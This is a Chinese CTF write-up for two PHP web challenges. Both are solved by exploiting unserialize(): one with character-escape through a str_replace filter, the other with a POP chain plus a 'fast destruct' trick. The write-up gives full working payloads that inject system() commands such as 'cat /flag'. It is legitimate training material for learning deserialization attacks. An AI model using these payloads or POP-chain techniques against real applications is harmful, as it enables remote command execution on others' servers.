WEEK4|WEB
逃
源码:
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data
经典的反序列化漏洞字符逃逸增多问题 bad 替换为 good 字符增加一位
首先序列化代码很容易构造 如下
<?php
class GetFlag {
public $key;
public $cmd = "ls /";
}
$a = new GetFlag();
echo serialize($a);
得到
O:7:"GetFlag":2:{s:3:"key";N;s:3:"cmd";s:4:"ls /";}
我们需要逃逸的就是s:3:"cmd";s:4:"ls /";} 然后为了更好的闭合我一般都会加上”; 这个符号 也就是需要逃逸”;s:3:"cmd";s:4:"ls /";} 总共24个字符 这样我们只需要写24个bad就行了 我们测验一下
Payload:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}
找到flag 然后用同样的方法进行获取flag
最终paylod:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
获得flag
总结
字符逃逸的主要原理就是闭合,和sql注入类似,只不过它判断的是字符串的长度。输入恰好的字符串长度,让无用的部分字符逃逸或吞掉,从而达到我们想要的目的。
逃逸漏洞特点
此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞
这种题目有个共同点:
php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化
反序列化字符逃逸问题根据过滤函数一般分为两种,字符数增多和字符数减少
More Fast
考点:
Fast destruct + 基础序列化构造
源代码
<?php
highlight_file(__FILE__);
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}
class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55
这里的POP链构造非常简单 基本了解每一种的魔术方法的触发条件就可以构造了 我们也不多讲 直接给代码
解题:
POP链:__destruct()->__toString()->__get($var)->__invoke()->Web
<?php
class Start{
public $errMsg;
}
class Pwn{
public $obj;
}
class Reverse{
public $func;
}
class Web{
public $func = 'system';
public $var = 'ls /';
}
class Crypto{
public $obj;
}
class Misc{
}
$a = new Start();
$a->errMsg = new Crypto();
$a->errMsg->obj = new Reverse();
$a->errMsg->obj->func = new Pwn();
$a->errMsg->obj->func->obj = new Web();
echo serialize($a);
得到payload:
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
我们传入得到 报错
为什么呢?原来代码里面扔了个异常
这会导致在反序列化之后直接经过异常报错 导致后边的析构函数__destruct()无法触发,所以才有了题目提示
所以就有个Fast desrtuct 这个知识点 我们如何快速触发?
快速触发desrtuct
1.修改序列化数字元素个数
原paylaod:O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
改成
O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}
2.去掉序列化尾部 }
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}
两种都可以 发现flag了 直接cat /f*就行了
paylaod:
fast=O:5:"Start":3:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}
得到flag